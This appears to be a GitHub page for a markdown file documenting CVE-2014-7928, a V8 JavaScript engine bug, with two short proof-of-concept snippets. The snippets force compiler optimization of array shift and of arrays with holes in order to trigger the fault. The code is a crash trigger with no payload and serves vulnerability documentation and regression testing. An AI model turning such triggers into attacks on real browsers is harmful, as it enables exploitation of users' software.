Skip to content

Latest commit

 

History

History
43 lines (31 loc) · 723 Bytes

CVE-2014-7928.md

File metadata and controls

43 lines (31 loc) · 723 Bytes

CVE-2014-7928

  • Date: Jan 2015
  • Credit: Christian Holler

PoC

// Flags: --allow-natives-syntax

// Inlining shift with holey smi arrays shouldn't deopt just because it
// encounters the hole on the copy step.
function doShift(a) {
  var x = a.shift();
  return x;
}

function makeArray() {
  var a = [1, 2,, 3];
  a[0] = 2;
  return a;
}

doShift(makeArray());
doShift(makeArray());
%OptimizeFunctionOnNextCall(doShift);
doShift(makeArray());
assertOptimized(doShift);


// Flags: --allow-natives-syntax --verify-heap

function test(x) { [x,,]; }

test(0);
test(0);
%OptimizeFunctionOnNextCall(test);
test(0);

Reference